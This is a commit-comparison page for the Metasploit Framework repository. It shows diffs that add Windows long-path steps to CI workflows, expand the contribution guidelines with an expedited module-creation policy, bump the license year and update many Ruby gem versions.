Compare commits
182 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 48e92983e5 | |||
| 8be5ce1cb5 | |||
| b132e3bbbe | |||
| d16eeab32c | |||
| b85faf9440 | |||
| 3fa7fe68a1 | |||
| c32a34112f | |||
| 6816589378 | |||
| fefb954827 | |||
| 4058173a1c | |||
| 8cd0449550 | |||
| 1e58d419f6 | |||
| 6bee281ffc | |||
| eac7a183f5 | |||
| 1fc95162e0 | |||
| d1124c44f5 | |||
| 41f25a9fd7 | |||
| 917aaeb027 | |||
| 63a86109f6 | |||
| 2122993285 | |||
| 7f8a762922 | |||
| 6802e83d24 | |||
| 844b433099 | |||
| 865626fbd2 | |||
| e1310f4f89 | |||
| b77489587a | |||
| c34c627e18 | |||
| 0f4c73b978 | |||
| aef5b5b3ac | |||
| ccb0c1a320 | |||
| a4297329d7 | |||
| 33e3a0bd09 | |||
| 29084094b7 | |||
| 9a60caf36d | |||
| dde6bdc211 | |||
| 53394fb983 | |||
| 5a1e4186e7 | |||
| e841a45db2 | |||
| f0febba48a | |||
| e506bac282 | |||
| 9865ecc785 | |||
| fdd3234c90 | |||
| 7f01048b11 | |||
| cc4dad3b10 | |||
| 5505bb5ef1 | |||
| 21b441e20a | |||
| b5ef4cdd6f | |||
| 6838a0e73a | |||
| 985cea3278 | |||
| f7bb3d68ea | |||
| 08e227faca | |||
| 80fec5ea5a | |||
| 81215645f4 | |||
| 468f168f04 | |||
| fa0c29837e | |||
| 74cc1d313c | |||
| d54e8d8749 | |||
| 8479350b3e | |||
| 43c929d56e | |||
| 8423d6ff87 | |||
| 9bdff3e803 | |||
| a19329454b | |||
| 10ea4f7f9f | |||
| e62038cfe5 | |||
| cbfcc5bd13 | |||
| f1175420f8 | |||
| f554cb7f86 | |||
| 26869588db | |||
| b1eed8e0ca | |||
| 44f79f5622 | |||
| 30d071e098 | |||
| 7476ea9006 | |||
| 72c3ebec53 | |||
| 83963d19b5 | |||
| a6d0401bfa | |||
| 3b4db23b8e | |||
| 24a785d6b0 | |||
| be7715db9d | |||
| 9c42bdd103 | |||
| abeeb091fd | |||
| 0c87c6b3e0 | |||
| bf1f919d9f | |||
| d38dd96861 | |||
| 162e73a62e | |||
| e70c8aa921 | |||
| d0bd559602 | |||
| 9780732471 | |||
| 02e3a55570 | |||
| 389e8af223 | |||
| 3f1422c9ac | |||
| c7c0047ea2 | |||
| cde6034614 | |||
| 95f9e22eff | |||
| d922976ea4 | |||
| c003c3d630 | |||
| 19c7cf04e0 | |||
| 54a8717c2d | |||
| 1bf81d9539 | |||
| 584d7dad35 | |||
| d16c3e93ba | |||
| 4be6f49f6d | |||
| df027f3fdd | |||
| ec67435de9 | |||
| 86fec44853 | |||
| 7b5b57a392 | |||
| c758a48baa | |||
| 4764ebbe39 | |||
| f4241856b9 | |||
| e3d9561be1 | |||
| df8c0b465e | |||
| 2e842179b7 | |||
| 994c09a43b | |||
| 20e51b44bc | |||
| 50edfae989 | |||
| 413c1931f7 | |||
| b51b29959d | |||
| 9917f574c0 | |||
| 902fd656cb | |||
| 70e7d980ef | |||
| 58adf02b0c | |||
| e484855c05 | |||
| 7bbd6406e7 | |||
| 5305e04891 | |||
| f8760a9e3b | |||
| d4fd890fed | |||
| 5e24b8448d | |||
| d982678154 | |||
| ef79506bcc | |||
| 741a222e9a | |||
| 76289d9691 | |||
| c382de881b | |||
| 9961bfbc58 | |||
| 84012fd60c | |||
| 0ca2599f48 | |||
| d47ec03ca7 | |||
| cf08a4e533 | |||
| 82f07c171b | |||
| a1093b093a | |||
| 557b2c70c6 | |||
| cac9b6e26b | |||
| 9886f78575 | |||
| b228e3bf87 | |||
| 4c5137846c | |||
| 538cdc1d6f | |||
| 5bb5b40eee | |||
| a5edf5bbd1 | |||
| 7603b5d2d4 | |||
| 661ac23d72 | |||
| f3d644cd84 | |||
| 1ca57c86fc | |||
| e341398871 | |||
| 44bdc5b44f | |||
| ae8591f2a3 | |||
| 281b728000 | |||
| 992b01b394 | |||
| da00168057 | |||
| 196d95b2bf | |||
| 426d74be68 | |||
| edb47d968c | |||
| 233c710d82 | |||
| 787205e69b | |||
| 35afdb0033 | |||
| a0ca1b10af | |||
| 531fbd3abe | |||
| 114ab6006b | |||
| 58fbf9e924 | |||
| bf5ae87a3d | |||
| daf5e1cfeb | |||
| 2f5758b8ed | |||
| efb0d5da4c | |||
| 94606036bd | |||
| edd36a8182 | |||
| 9c075c7cce | |||
| 4a38605576 | |||
| 45dfa5fda9 | |||
| e71a851e3f | |||
| 60a496eec9 | |||
| 2f958c21af | |||
| df9efe382d | |||
| 258b8aaea2 | |||
| db76de2401 | |||
| 97adc2755d |
@@ -0,0 +1,6 @@
|
||||
{
|
||||
"$schema": "https://docs.renovatebot.com/renovate-schema.json",
|
||||
"extends": [
|
||||
"github>rapid7/renovate-config:base"
|
||||
]
|
||||
}
|
||||
@@ -126,7 +126,13 @@ jobs:
|
||||
with:
|
||||
path: metasploit-framework
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
run: git config --system core.longpaths true
|
||||
env:
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
uses: ruby/setup-ruby@v1
|
||||
@@ -175,6 +181,11 @@ jobs:
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
|
||||
@@ -45,6 +45,11 @@ jobs:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
|
||||
@@ -72,6 +72,11 @@ jobs:
|
||||
docker compose build
|
||||
docker compose up --wait -d
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
@@ -121,6 +126,11 @@ jobs:
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
|
||||
@@ -82,6 +82,11 @@ jobs:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
@@ -138,6 +143,11 @@ jobs:
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
|
||||
@@ -80,6 +80,11 @@ jobs:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
@@ -137,6 +142,11 @@ jobs:
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
|
||||
@@ -82,6 +82,11 @@ jobs:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
@@ -139,6 +144,11 @@ jobs:
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
|
||||
@@ -190,7 +190,13 @@ jobs:
|
||||
path: metasploit-framework
|
||||
ref: ${{ inputs.metasploit_framework_commit }}
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
run: git config --system core.longpaths true
|
||||
env:
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
# Required for macos13 pg gem compilation
|
||||
@@ -344,6 +350,11 @@ jobs:
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
|
||||
@@ -74,6 +74,11 @@ jobs:
|
||||
docker compose build
|
||||
docker compose up --wait -d
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
@@ -143,6 +148,11 @@ jobs:
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
|
||||
@@ -88,6 +88,11 @@ jobs:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
# https://github.com/orgs/community/discussions/26952
|
||||
- name: Support longpaths
|
||||
if: runner.os == 'Windows'
|
||||
run: git config --system core.longpaths true
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
|
||||
+8
-1
@@ -22,6 +22,8 @@ Once you have finished your new module and tested it locally to ensure it's work
|
||||
Finally, follow our short list of do's and don'ts below to make sure your valuable contributions actually make it into Metasploit's master branch! We try to consider all our pull requests fairly and in detail, but if you do not follow these rules, your contribution
|
||||
will be closed. We need to ensure the code we're adding to master is written to a high standard.
|
||||
|
||||
## Expedited Module Creation Process
|
||||
We strive to respect the community that has given us so much, so in the odd situation where we get multiple submissions for the same vulnerability, generally we will work with the first person who assigns themselves to the issue or the first person that submits a good-faith PR. A good-faith PR might not even work, but it will show that the author is working their way toward a solution. Despite this general rule, there are rare circumstances where we may ask a contributor to step aside or allow a committer to take the lead on the creation of a new module if a complete and working module with documents has not already been submitted. This kind of expedited module creation process comes up infrequently, and usually it involves high-profile or high priority modules that we have marked internally as time-critical: think KEV list, active exploitation campaigns, CISA announcements, etc. In those cases, we may ask a contributor that is assigned to the issue or who has submitted an incomplete module to allow a committer to take over an issue or a module PR in the interest of getting a module out quickly. If a contributor has submitted an incomplete module, they will remain as a co-author of the module and we may build directly onto the PR they submitted, leaving the original commits in the tree. We sincerely hope that the original author will remain involved in this expedited module creation process. We would appreciate testing, critiquing, and any assistance that can be offered. If the module is complete but requires minor changes, we may ask the contributor to allow us to take over testing/verification and make these minor changes without asking so we can land the module as quickly as possible. In these cases of minor code changes, the authorship of the module will remain unchanged. We hope everyone involved in this expedited module creation process continues to feel valued and appreciated.
|
||||
|
||||
### Code Contribution Do's & Don'ts:
|
||||
|
||||
@@ -40,13 +42,18 @@ Keeping the following in mind gives your contribution the best chance of landing
|
||||
* **Do** target your pull request to the **master branch**.
|
||||
* **Do** specify a descriptive title to make searching for your pull request easier.
|
||||
* **Do** include [console output], especially for effects that can be witnessed in the `msfconsole`.
|
||||
* **Do** list [verification steps] so your code is testable.
|
||||
* **Do** test your code.
|
||||
* **Do** list [verification steps] so committers can test your code.
|
||||
* **Do** [reference associated issues] in your pull request description.
|
||||
* **Don't** leave your pull request description blank.
|
||||
* **Don't** include sensitive information in your PR (including externally-routable IP addresses in documentation).
|
||||
* **Don't** PR untested/unvalidated code you copy/pasted from the internet.
|
||||
* **Don't** PR untested/unvalidated code you copy/pasted from AI or LLM.
|
||||
* **Don't** abandon your pull request. Being responsive helps us land your code faster.
|
||||
* **Don't** post questions in older closed PRs.
|
||||
|
||||
#### <u>New Modules</u>
|
||||
* **Do** check the issue tracker to see if there is a `suggestion-module` issue for the module you want to write, and assign yourself to it if there is.
|
||||
* **Do** license your code as BSD 3-clause, BSD 2-clause, or MIT.
|
||||
* **Do** stick to the [Ruby style guide] and use [Rubocop] to find common style issues.
|
||||
* **Do** set up `msftidy` to fix any errors or warnings that come up as a [pre-commit hook].
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
Copyright (C) 2006-2020, Rapid7, Inc.
|
||||
Copyright (C) 2006-2025, Rapid7, Inc.
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
|
||||
@@ -37,8 +37,8 @@ group :development, :test do
|
||||
# environment is development
|
||||
gem 'rspec-rails'
|
||||
gem 'rspec-rerun'
|
||||
# Required during CI as well local development
|
||||
gem 'rubocop'
|
||||
# Required during CI as well local development - pinned due to CI failure on: rubocop-1.73.2/lib/rubocop/config_loader.rb:272:in `read'
|
||||
gem 'rubocop', '1.67.0'
|
||||
end
|
||||
|
||||
group :test do
|
||||
|
||||
+118
-112
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.4.52)
|
||||
metasploit-framework (6.4.57)
|
||||
aarch64
|
||||
abbrev
|
||||
actionpack (~> 7.0.0)
|
||||
@@ -94,6 +94,7 @@ PATH
|
||||
rex-struct2
|
||||
rex-text
|
||||
rex-zip
|
||||
rinda
|
||||
ruby-macho
|
||||
ruby-mysql
|
||||
ruby_smb (~> 3.3.3)
|
||||
@@ -118,29 +119,29 @@ PATH
|
||||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
Ascii85 (1.1.1)
|
||||
Ascii85 (2.0.1)
|
||||
aarch64 (2.1.0)
|
||||
racc (~> 1.6)
|
||||
abbrev (0.1.2)
|
||||
actionpack (7.0.8.6)
|
||||
actionview (= 7.0.8.6)
|
||||
activesupport (= 7.0.8.6)
|
||||
actionpack (7.0.8.7)
|
||||
actionview (= 7.0.8.7)
|
||||
activesupport (= 7.0.8.7)
|
||||
rack (~> 2.0, >= 2.2.4)
|
||||
rack-test (>= 0.6.3)
|
||||
rails-dom-testing (~> 2.0)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.2.0)
|
||||
actionview (7.0.8.6)
|
||||
activesupport (= 7.0.8.6)
|
||||
actionview (7.0.8.7)
|
||||
activesupport (= 7.0.8.7)
|
||||
builder (~> 3.1)
|
||||
erubi (~> 1.4)
|
||||
rails-dom-testing (~> 2.0)
|
||||
rails-html-sanitizer (~> 1.1, >= 1.2.0)
|
||||
activemodel (7.0.8.6)
|
||||
activesupport (= 7.0.8.6)
|
||||
activerecord (7.0.8.6)
|
||||
activemodel (= 7.0.8.6)
|
||||
activesupport (= 7.0.8.6)
|
||||
activesupport (7.0.8.6)
|
||||
activemodel (7.0.8.7)
|
||||
activesupport (= 7.0.8.7)
|
||||
activerecord (7.0.8.7)
|
||||
activemodel (= 7.0.8.7)
|
||||
activesupport (= 7.0.8.7)
|
||||
activesupport (7.0.8.7)
|
||||
concurrent-ruby (~> 1.0, >= 1.0.2)
|
||||
i18n (>= 1.6, < 2)
|
||||
minitest (>= 5.1)
|
||||
@@ -148,54 +149,54 @@ GEM
|
||||
addressable (2.8.7)
|
||||
public_suffix (>= 2.0.2, < 7.0)
|
||||
afm (0.2.2)
|
||||
allure-rspec (2.24.5)
|
||||
allure-ruby-commons (= 2.24.5)
|
||||
allure-rspec (2.26.0)
|
||||
allure-ruby-commons (= 2.26.0)
|
||||
rspec-core (>= 3.8, < 4)
|
||||
allure-ruby-commons (2.24.5)
|
||||
allure-ruby-commons (2.26.0)
|
||||
mime-types (>= 3.3, < 4)
|
||||
require_all (>= 2, < 4)
|
||||
rspec-expectations (~> 3.12)
|
||||
uuid (>= 2.3, < 3)
|
||||
arel-helpers (2.15.0)
|
||||
activerecord (>= 3.1.0, < 8)
|
||||
arel-helpers (2.16.0)
|
||||
activerecord (>= 3.1.0, < 8.1)
|
||||
ast (2.4.2)
|
||||
aws-eventstream (1.3.0)
|
||||
aws-partitions (1.999.0)
|
||||
aws-sdk-core (3.211.0)
|
||||
aws-eventstream (1.3.2)
|
||||
aws-partitions (1.1065.0)
|
||||
aws-sdk-core (3.220.1)
|
||||
aws-eventstream (~> 1, >= 1.3.0)
|
||||
aws-partitions (~> 1, >= 1.992.0)
|
||||
aws-sigv4 (~> 1.9)
|
||||
base64
|
||||
jmespath (~> 1, >= 1.6.1)
|
||||
aws-sdk-ec2 (1.486.0)
|
||||
aws-sdk-core (~> 3, >= 3.210.0)
|
||||
aws-sdk-ec2 (1.511.0)
|
||||
aws-sdk-core (~> 3, >= 3.216.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
aws-sdk-ec2instanceconnect (1.52.0)
|
||||
aws-sdk-core (~> 3, >= 3.210.0)
|
||||
aws-sdk-ec2instanceconnect (1.55.0)
|
||||
aws-sdk-core (~> 3, >= 3.216.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
aws-sdk-iam (1.112.0)
|
||||
aws-sdk-core (~> 3, >= 3.210.0)
|
||||
aws-sdk-iam (1.119.0)
|
||||
aws-sdk-core (~> 3, >= 3.216.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
aws-sdk-kms (1.95.0)
|
||||
aws-sdk-core (~> 3, >= 3.210.0)
|
||||
aws-sdk-kms (1.99.0)
|
||||
aws-sdk-core (~> 3, >= 3.216.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
aws-sdk-s3 (1.169.0)
|
||||
aws-sdk-core (~> 3, >= 3.210.0)
|
||||
aws-sdk-s3 (1.182.0)
|
||||
aws-sdk-core (~> 3, >= 3.216.0)
|
||||
aws-sdk-kms (~> 1)
|
||||
aws-sigv4 (~> 1.5)
|
||||
aws-sdk-ssm (1.183.0)
|
||||
aws-sdk-core (~> 3, >= 3.210.0)
|
||||
aws-sdk-ssm (1.191.0)
|
||||
aws-sdk-core (~> 3, >= 3.216.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
aws-sigv4 (1.10.1)
|
||||
aws-sigv4 (1.11.0)
|
||||
aws-eventstream (~> 1, >= 1.0.2)
|
||||
base64 (0.2.0)
|
||||
bcrypt (3.1.20)
|
||||
bcrypt_pbkdf (1.1.1)
|
||||
benchmark (0.4.0)
|
||||
bigdecimal (3.1.8)
|
||||
bigdecimal (3.1.9)
|
||||
bindata (2.4.15)
|
||||
bootsnap (1.18.4)
|
||||
msgpack (~> 1.2)
|
||||
bson (5.0.1)
|
||||
bson (5.0.2)
|
||||
builder (3.3.0)
|
||||
byebug (11.1.3)
|
||||
chunky_png (1.4.0)
|
||||
@@ -203,14 +204,16 @@ GEM
|
||||
concurrent-ruby (1.3.4)
|
||||
cookiejar (0.3.4)
|
||||
crass (1.0.6)
|
||||
csv (3.3.0)
|
||||
csv (3.3.2)
|
||||
daemons (1.4.1)
|
||||
date (3.4.1)
|
||||
debug (1.8.0)
|
||||
irb (>= 1.5.0)
|
||||
reline (>= 0.3.1)
|
||||
diff-lcs (1.5.1)
|
||||
dnsruby (1.72.2)
|
||||
diff-lcs (1.6.0)
|
||||
dnsruby (1.72.4)
|
||||
base64 (~> 0.2.0)
|
||||
logger (~> 1.6.5)
|
||||
simpleidn (~> 0.2.1)
|
||||
docile (1.4.1)
|
||||
domain_name (0.6.20240107)
|
||||
@@ -227,10 +230,10 @@ GEM
|
||||
em-socksify (0.3.3)
|
||||
base64
|
||||
eventmachine (>= 1.0.0.beta.4)
|
||||
erubi (1.13.0)
|
||||
erubi (1.13.1)
|
||||
eventmachine (1.2.7)
|
||||
factory_bot (6.5.0)
|
||||
activesupport (>= 5.0.0)
|
||||
factory_bot (6.5.1)
|
||||
activesupport (>= 6.1.0)
|
||||
factory_bot_rails (6.4.4)
|
||||
factory_bot (~> 6.5)
|
||||
railties (>= 5.0.0)
|
||||
@@ -250,6 +253,7 @@ GEM
|
||||
fiddle (1.1.6)
|
||||
filesize (0.2.0)
|
||||
fivemat (1.3.7)
|
||||
forwardable (1.3.3)
|
||||
getoptlong (0.2.1)
|
||||
gssapi (1.3.1)
|
||||
ffi (>= 1.0.1)
|
||||
@@ -261,38 +265,38 @@ GEM
|
||||
hrr_rb_ssh-ed25519 (0.4.2)
|
||||
ed25519 (~> 1.2)
|
||||
hrr_rb_ssh (>= 0.4)
|
||||
http-cookie (1.0.7)
|
||||
http-cookie (1.0.8)
|
||||
domain_name (~> 0.5)
|
||||
http_parser.rb (0.8.0)
|
||||
httpclient (2.8.3)
|
||||
i18n (1.14.6)
|
||||
httpclient (2.9.0)
|
||||
mutex_m
|
||||
i18n (1.14.7)
|
||||
concurrent-ruby (~> 1.0)
|
||||
io-console (0.7.2)
|
||||
io-console (0.8.0)
|
||||
ipaddr (1.2.7)
|
||||
irb (1.7.4)
|
||||
reline (>= 0.3.6)
|
||||
jmespath (1.6.2)
|
||||
jsobfu (0.4.2)
|
||||
rkelly-remix
|
||||
json (2.7.5)
|
||||
language_server-protocol (3.17.0.3)
|
||||
json (2.10.2)
|
||||
language_server-protocol (3.17.0.4)
|
||||
little-plugger (1.1.4)
|
||||
logger (1.6.1)
|
||||
logger (1.6.6)
|
||||
logging (2.4.0)
|
||||
little-plugger (~> 1.1)
|
||||
multi_json (~> 1.14)
|
||||
loofah (2.23.1)
|
||||
loofah (2.24.0)
|
||||
crass (~> 1.0.2)
|
||||
nokogiri (>= 1.12.0)
|
||||
macaddr (1.7.2)
|
||||
systemu (~> 2.6.5)
|
||||
memory_profiler (1.1.0)
|
||||
metasm (1.0.5)
|
||||
metasploit-concern (5.0.3)
|
||||
metasploit-concern (5.0.4)
|
||||
activemodel (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
railties (~> 7.0)
|
||||
zeitwerk
|
||||
metasploit-credential (6.0.11)
|
||||
metasploit-credential (6.0.14)
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
metasploit_data_models (>= 5.0.0)
|
||||
@@ -302,12 +306,12 @@ GEM
|
||||
rex-socket
|
||||
rubyntlm
|
||||
rubyzip
|
||||
metasploit-model (5.0.2)
|
||||
metasploit-model (5.0.3)
|
||||
activemodel (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
railties (~> 7.0)
|
||||
metasploit-payloads (2.0.189)
|
||||
metasploit_data_models (6.0.6)
|
||||
metasploit_data_models (6.0.9)
|
||||
activerecord (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
arel-helpers
|
||||
@@ -322,17 +326,17 @@ GEM
|
||||
mime-types (3.6.0)
|
||||
logger
|
||||
mime-types-data (~> 3.2015)
|
||||
mime-types-data (3.2024.1001)
|
||||
mime-types-data (3.2025.0304)
|
||||
mini_portile2 (2.8.8)
|
||||
minitest (5.25.1)
|
||||
minitest (5.25.5)
|
||||
mqtt (0.6.0)
|
||||
msgpack (1.6.1)
|
||||
multi_json (1.15.0)
|
||||
mustermann (3.0.3)
|
||||
ruby2_keywords (~> 0.0.1)
|
||||
mutex_m (0.2.0)
|
||||
mutex_m (0.3.0)
|
||||
nessus_rest (0.1.6)
|
||||
net-imap (0.5.0)
|
||||
net-imap (0.5.6)
|
||||
date
|
||||
net-protocol
|
||||
net-ldap (0.19.0)
|
||||
@@ -340,13 +344,13 @@ GEM
|
||||
timeout
|
||||
net-sftp (4.0.0)
|
||||
net-ssh (>= 5.0.0, < 8.0.0)
|
||||
net-smtp (0.5.0)
|
||||
net-smtp (0.5.1)
|
||||
net-protocol
|
||||
net-ssh (7.3.0)
|
||||
network_interface (0.0.4)
|
||||
nexpose (7.3.0)
|
||||
nio4r (2.7.4)
|
||||
nokogiri (1.18.2)
|
||||
nokogiri (1.18.3)
|
||||
mini_portile2 (~> 2.8.2)
|
||||
racc (~> 1.4)
|
||||
nori (2.7.1)
|
||||
@@ -361,13 +365,13 @@ GEM
|
||||
packetfu (2.0.0)
|
||||
pcaprub (~> 0.13.1)
|
||||
parallel (1.26.3)
|
||||
parser (3.3.5.0)
|
||||
parser (3.3.7.1)
|
||||
ast (~> 2.4.1)
|
||||
racc
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.13.3)
|
||||
pdf-reader (2.12.0)
|
||||
Ascii85 (~> 1.0)
|
||||
pdf-reader (2.14.1)
|
||||
Ascii85 (>= 1.0, < 3.0, != 2.0.0)
|
||||
afm (~> 0.2.1)
|
||||
hashery (~> 2.0)
|
||||
ruby-rc4
|
||||
@@ -380,25 +384,25 @@ GEM
|
||||
byebug (~> 11.0)
|
||||
pry (>= 0.13, < 0.15)
|
||||
public_suffix (6.0.1)
|
||||
puma (6.4.3)
|
||||
puma (6.6.0)
|
||||
nio4r (~> 2.0)
|
||||
racc (1.8.1)
|
||||
rack (2.2.10)
|
||||
rack (2.2.13)
|
||||
rack-protection (3.2.0)
|
||||
base64 (>= 0.1.0)
|
||||
rack (~> 2.2, >= 2.2.4)
|
||||
rack-test (2.1.0)
|
||||
rack-test (2.2.0)
|
||||
rack (>= 1.3)
|
||||
rails-dom-testing (2.2.0)
|
||||
activesupport (>= 5.0.0)
|
||||
minitest
|
||||
nokogiri (>= 1.6)
|
||||
rails-html-sanitizer (1.6.0)
|
||||
rails-html-sanitizer (1.6.2)
|
||||
loofah (~> 2.21)
|
||||
nokogiri (~> 1.14)
|
||||
railties (7.0.8.6)
|
||||
actionpack (= 7.0.8.6)
|
||||
activesupport (= 7.0.8.6)
|
||||
nokogiri (>= 1.15.7, != 1.16.7, != 1.16.6, != 1.16.5, != 1.16.4, != 1.16.3, != 1.16.2, != 1.16.1, != 1.16.0.rc1, != 1.16.0)
|
||||
railties (7.0.8.7)
|
||||
actionpack (= 7.0.8.7)
|
||||
activesupport (= 7.0.8.7)
|
||||
method_source
|
||||
rake (>= 12.2)
|
||||
thor (~> 1.0)
|
||||
@@ -408,69 +412,73 @@ GEM
|
||||
rasn1 (0.14.0)
|
||||
strptime (~> 0.2.5)
|
||||
rb-readline (0.5.5)
|
||||
recog (3.1.11)
|
||||
recog (3.1.14)
|
||||
nokogiri
|
||||
redcarpet (3.6.0)
|
||||
regexp_parser (2.9.2)
|
||||
reline (0.5.10)
|
||||
redcarpet (3.6.1)
|
||||
regexp_parser (2.10.0)
|
||||
reline (0.6.0)
|
||||
io-console (~> 0.5)
|
||||
require_all (3.0.0)
|
||||
rex-arch (0.1.16)
|
||||
rex-arch (0.1.18)
|
||||
rex-text
|
||||
rex-bin_tools (0.1.9)
|
||||
rex-bin_tools (0.1.10)
|
||||
metasm
|
||||
rex-arch
|
||||
rex-core
|
||||
rex-struct2
|
||||
rex-text
|
||||
rex-core (0.1.32)
|
||||
rex-encoder (0.1.7)
|
||||
rex-encoder (0.1.8)
|
||||
metasm
|
||||
rex-arch
|
||||
rex-text
|
||||
rex-exploitation (0.1.40)
|
||||
rex-exploitation (0.1.41)
|
||||
jsobfu
|
||||
metasm
|
||||
rex-arch
|
||||
rex-encoder
|
||||
rex-text
|
||||
rexml
|
||||
rex-java (0.1.7)
|
||||
rex-java (0.1.8)
|
||||
rex-mime (0.1.11)
|
||||
rex-text
|
||||
rex-nop (0.1.3)
|
||||
rex-nop (0.1.4)
|
||||
rex-arch
|
||||
rex-ole (0.1.8)
|
||||
rex-ole (0.1.9)
|
||||
rex-text
|
||||
rex-powershell (0.1.100)
|
||||
rex-powershell (0.1.101)
|
||||
rex-random_identifier
|
||||
rex-text
|
||||
ruby-rc4
|
||||
rex-random_identifier (0.1.13)
|
||||
